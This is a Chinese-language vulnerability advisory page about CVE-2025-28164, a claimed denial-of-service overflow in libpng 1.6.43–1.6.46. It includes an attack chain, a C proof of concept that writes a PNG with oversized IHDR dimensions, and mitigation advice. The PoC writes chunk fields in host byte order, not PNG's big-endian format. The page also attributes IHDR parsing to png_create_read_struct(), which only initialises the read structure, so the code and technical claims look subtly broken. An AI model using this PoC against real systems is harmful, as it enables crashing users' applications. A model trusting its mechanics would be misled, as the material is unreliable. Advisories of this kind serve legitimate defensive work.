IPBUF安全漏洞报告
English
CVE-2025-28164 CVSS 5.5 中危

CVE-2025-28164 libpng png_create_read_struct() 缓冲区溢出漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2025-28164
漏洞类型
缓冲区溢出
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
libpng

相关标签

缓冲区溢出libpng拒绝服务本地攻击CVE-2025-28164png_create_read_structIHDR chunk整数溢出媒体文件漏洞

漏洞概述

CVE-2025-28164是libpng库中的一个缓冲区溢出漏洞。该漏洞影响libpng 1.6.43至1.6.46版本,允许本地攻击者通过特制的PNG图像文件触发png_create_read_struct()函数中的缓冲区溢出条件,从而导致应用程序崩溃,实现拒绝服务(DoS)攻击。

libpng是PNG图像处理领域最广泛使用的开源库之一,被众多应用程序、操作系统和开发框架所依赖。该库提供了读取、写入和操作PNG格式图像的完整功能。由于PNG格式在互联网和桌面应用中极为常见,libpng的安全性问题可能影响到大量的终端用户系统。

该漏洞的CVSS评分为5.5,属于中等严重程度。攻击向量为本地攻击,需要攻击者具有本地访问权限并能诱导用户打开特制的PNG文件。虽然该漏洞不允许远程代码执行,但其导致的拒绝服务攻击仍可能对系统可用性造成严重影响。

libpng项目团队已在1.6.47版本中修复了此漏洞。建议所有使用受影响版本libpng的用户尽快升级到最新稳定版本,以消除安全风险。对于无法立即升级的用户,应采取相应的临时缓解措施,如限制不受信任来源的PNG文件处理。

技术细节

漏洞位于libpng的png_create_read_struct()函数中,该函数负责初始化PNG读取结构体。在处理PNG图像时,该函数需要解析PNG文件头和IHDR chunk中的关键信息,包括图像尺寸、颜色深度、颜色类型等参数。

问题出在函数对输入数据的验证不充分。当解析PNG文件的宽度和高度字段时,函数在计算图像缓冲区大小时未进行足够的边界检查。攻击者可以构造一个IHDR chunk,其中包含异常大的图像尺寸值(如宽度和高度都设置为极大的数值)。

当png_create_read_struct()函数处理这些超大尺寸值时,会尝试分配相应的内存缓冲区。由于缺乏有效的范围检查,分配请求可能导致整数溢出或内存分配失败。更严重的是,如果后续处理流程中使用了这些未经验证的尺寸值进行内存操作,将触发缓冲区溢出条件。

具体利用过程:攻击者创建一个包含恶意IHDR chunk的PNG文件,将图像宽度和高度设置为能够触发整数溢出的值。当受害程序使用libpng打开该文件时,png_create_read_struct()函数会计算出一个错误的缓冲区大小,导致后续的内存操作越界访问,最终引发程序崩溃。

该漏洞的本地攻击特性意味着攻击者需要具备一定的系统访问权限才能实施攻击。攻击者可能通过社交工程手段诱导用户打开恶意PNG文件,或将恶意文件放置在用户可访问的位置等待被处理。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意IHDR chunk的PNG文件,将图像宽度和高度设置为异常大的值(如0x7FFFFFFF)
STEP 2
步骤2
攻击者通过社交工程、网络共享、电子邮件或其他方式将恶意PNG文件传递给目标用户
STEP 3
步骤3
目标用户使用依赖libpng 1.6.43-1.6.46版本的应用程序(如图像查看器、浏览器、图形编辑器)打开该PNG文件
STEP 4
步骤4
应用程序调用libpng的png_create_read_struct()函数处理PNG文件
STEP 5
步骤5
png_create_read_struct()函数解析IHDR chunk中的超大尺寸值,在计算内存分配大小时发生整数溢出或边界检查失败
STEP 6
步骤6
后续内存操作使用错误的缓冲区大小,导致缓冲区溢出,触发程序崩溃
STEP 7
步骤7
目标应用程序崩溃,实现拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> // PoC for CVE-2025-28164: libpng png_create_read_struct() Buffer Overflow // This PoC creates a malformed PNG file with oversized IHDR dimensions #pragma pack(1) typedef struct { unsigned int length; char type[4]; unsigned int width; unsigned int height; unsigned char bit_depth; unsigned char color_type; unsigned char compression; unsigned char filter; unsigned char interlace; unsigned int crc; } ihdr_chunk_t; void write_png_header(FILE *fp) { // PNG signature unsigned char signature[8] = {0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A}; fwrite(signature, 1, 8, fp); } unsigned int calculate_crc32(unsigned char *data, int length) { unsigned int crc = 0xFFFFFFFF; for (int i = 0; i < length; i++) { crc ^= data[i]; for (int j = 0; j < 8; j++) { crc = (crc >> 1) ^ (0xEDB88320 & -(crc & 1)); } } return ~crc; } void write_malformed_ihdr(FILE *fp) { ihdr_chunk_t ihdr; // Malicious oversized dimensions to trigger buffer overflow ihdr.length = 13; // IHDR data length memcpy(ihdr.type, "IHDR", 4); ihdr.width = 0x7FFFFFFF; // Oversized width value ihdr.height = 0x7FFFFFFF; // Oversized height value ihdr.bit_depth = 8; ihdr.color_type = 2; // RGB ihdr.compression = 0; ihdr.filter = 0; ihdr.interlace = 0; // Calculate CRC for type + data unsigned char ihdr_data[17]; memcpy(ihdr_data, ihdr.type, 4); memcpy(ihdr_data + 4, &ihdr.width, 4); memcpy(ihdr_data + 8, &ihdr.height, 4); ihdr_data[12] = ihdr.bit_depth; ihdr_data[13] = ihdr.color_type; ihdr_data[14] = ihdr.compression; ihdr_data[15] = ihdr.filter; ihdr_data[16] = ihdr.interlace; ihdr.crc = calculate_crc32(ihdr_data, 17); // Write chunk length, type, data, and CRC fwrite(&ihdr.length, 4, 1, fp); fwrite(ihdr.type, 4, 1, fp); fwrite(&ihdr.width, 4, 1, fp); fwrite(&ihdr.height, 4, 1, fp); fwrite(&ihdr.bit_depth, 5, 1, fp); fwrite(&ihdr.crc, 4, 1, fp); } void write_iend(FILE *fp) { unsigned int length = 0; unsigned int crc = 0xAE426082; // CRC of "IEND" fwrite(&length, 4, 1, fp); fwrite("IEND", 4, 1, fp); fwrite(&crc, 4, 1, fp); } int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s <output_png_file>\n", argv[0]); return 1; } FILE *fp = fopen(argv[1], "wb"); if (!fp) { perror("Failed to open output file"); return 1; } write_png_header(fp); write_malformed_ihdr(fp); write_iend(fp); fclose(fp); printf("Malformed PNG created: %s\n", argv[1]); printf("This file triggers CVE-2025-28164 in libpng versions 1.6.43-1.6.46\n"); return 0; }

影响范围

libpng 1.6.43
libpng 1.6.44
libpng 1.6.45
libpng 1.6.46

防御指南

临时缓解措施
对于无法立即升级libpng的用户,可以采取以下临时缓解措施:1) 限制从不受信任来源接收和打开PNG文件;2) 使用杀毒软件扫描所有来源不明的PNG文件;3) 在Web服务器上部署文件上传验证,限制PNG文件尺寸;4) 考虑使用不受漏洞影响的替代图像库(如libgd、stb_image);5) 对关键系统实施网络隔离,限制攻击面;6) 启用应用程序沙箱环境,限制图像处理进程的系统权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表